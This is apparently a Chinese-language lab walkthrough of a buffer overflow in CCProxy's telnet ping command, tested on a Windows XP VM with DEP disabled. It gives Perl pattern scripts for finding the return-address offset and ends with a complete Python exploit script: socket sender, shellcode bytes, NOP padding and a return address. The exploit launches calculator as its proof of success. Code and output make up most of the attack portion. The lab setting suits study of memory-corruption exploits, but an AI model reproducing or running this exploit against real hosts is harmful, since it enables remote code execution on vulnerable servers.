溢出对象：CCProxy
调试工具：CDB、WinDbg、OllyDBG、IDA Pro
实验环境：VMware、Windows xp sp3（关闭dep）、python
- ipconfig
主机IP为192.168.1.104
- telnet 192.168.1.104 23
CCProxy Telnet>CCProxy Telnet Service Ready.
- 挂起CCProxy
cdb.exe -pn ccproxy
输入g调试工具开始运行
- ping AAAA
- ping AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…
- dd esi/esp
- 结论
CCProxy的缓冲区溢出条件在ping 1000~2000个字符之间。
- 获取RET相对偏移量
获取方法：利用一串不重复的字符填充缓冲区，然后查看覆盖RET的字符串，计算它们在整个字符串中的位置，从而得出缓冲区的大小及RET的偏移
编写patternCreate.pl脚本代码生成2000个不重复的字符，patternCreate.pl主要代码如下：
sub PatternCreate {
my ($length) = @_;
my ($X, $Y, $Z);
my $res;
while (1)
{
for my $X ("A" .. "Z") { for my $Y ("a" .. "z") { for my $Z (0 .. 9) {
$res .= $X;
return $res if length($res) >= $length;
$res .= $Y;
return $res if length($res) >= $length;
$res .= $Z;
return $res if length($res) >= $length;
}}}
}
}ping生成的字符串，cdb捕捉到异常
从图中可以看到EIP寄存器的值为：0x68423768；通过patternOffset.pl计算出它在整个长为2000的字符串中的偏移。
patternOffset.pl代码如下：
sub PatternOffset {
my $pattern = shift;
my $address = shift;
my $endian = @_ ? shift() : 'V';
my @results;
my ($idx, $lst) = (0,0);
$address = pack($endian, hex($address));
$idx = index($pattern, $address, $lst);
while ($idx > 0)
{
push @results, $idx;
$lst = $idx + 1;
$idx = index($pattern, $address, $lst);
}
return @results;
}在cmd中输入perl.exe patternOffset.pl 68423768 2000运行脚本：
这说明，RET相对缓冲区起始地址的偏移大小是1012字节。
使用同样的方法获取ESP偏移量为0x61413161
perl.exe patternOffset.pl 61413161 2000
这说明ESP指向字符串的第4个字节
攻击代码：
import socket
def send(attackcode, host='192.168.1.104', port=23):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect((host, port))
data = b'ping ' + attackcode + b'\r\n'
sock.send(data)
sock.recv(1000)
shellcode = b"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30" + \
b"\x42\x36\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42" + \
b"\x30\x41\x44\x41\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54\x42\x50\x42\x50\x42\x30\x4b\x58\x45\x34" + \
b"\x4e\x33\x4b\x38\x4e\x37\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x48\x4f\x44\x4a\x31\x4b\x38\x4f\x45\x42\x52\x41\x30\x4b\x4e" + \
b"\x49\x54\x4b\x38\x46\x53\x4b\x48\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c\x46\x47\x47\x30\x41\x4c" + \
b"\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e\x46\x4f\x4b\x53\x46\x45\x46\x32\x46\x50\x45\x37\x45\x4e\x4b\x48\x4f\x45\x46\x42" + \
b"\x41\x30\x4b\x4e\x48\x46\x4b\x38\x4e\x50\x4b\x44\x4b\x58\x4f\x45\x4e\x41\x41\x50\x4b\x4e\x4b\x48\x4e\x51\x4b\x38\x41\x50" + \
b"\x4b\x4e\x49\x48\x4e\x35\x46\x52\x46\x50\x43\x4c\x41\x33\x42\x4c\x46\x56\x4b\x38\x42\x34\x42\x53\x45\x38\x42\x4c\x4a\x37" + \
b"\x4e\x50\x4b\x38\x42\x54\x4e\x50\x4b\x48\x42\x37\x4e\x31\x4d\x4a\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x48" + \
b"\x42\x4b\x42\x30\x42\x30\x42\x30\x4b\x38\x4a\x36\x4e\x33\x4f\x55\x41\x53\x48\x4f\x42\x46\x48\x45\x49\x48\x4a\x4f\x43\x58" + \
b"\x42\x4c\x4b\x37\x42\x55\x4a\x56\x42\x4f\x4c\x58\x46\x30\x4f\x35\x4a\x46\x4a\x49\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f" + \
b"\x47\x4e\x43\x56\x41\x46\x4e\x36\x43\x46\x42\x30\x5a"
RET_addr = bytes.fromhex('7ffa4512')[::-1]
attackcode = ((b"\x90" *4 + shellcode).ljust(1012,b"\x90") + RET_addr).ljust(2000,b"\x90")-
打开ccproxy并用cdb挂起，telnet连接到23端口
-
运行python代码，输入
send(attackcode)回车 -
程序执行，计算器程序弹出，cdb中记录程序溢出详细情况
攻击成功
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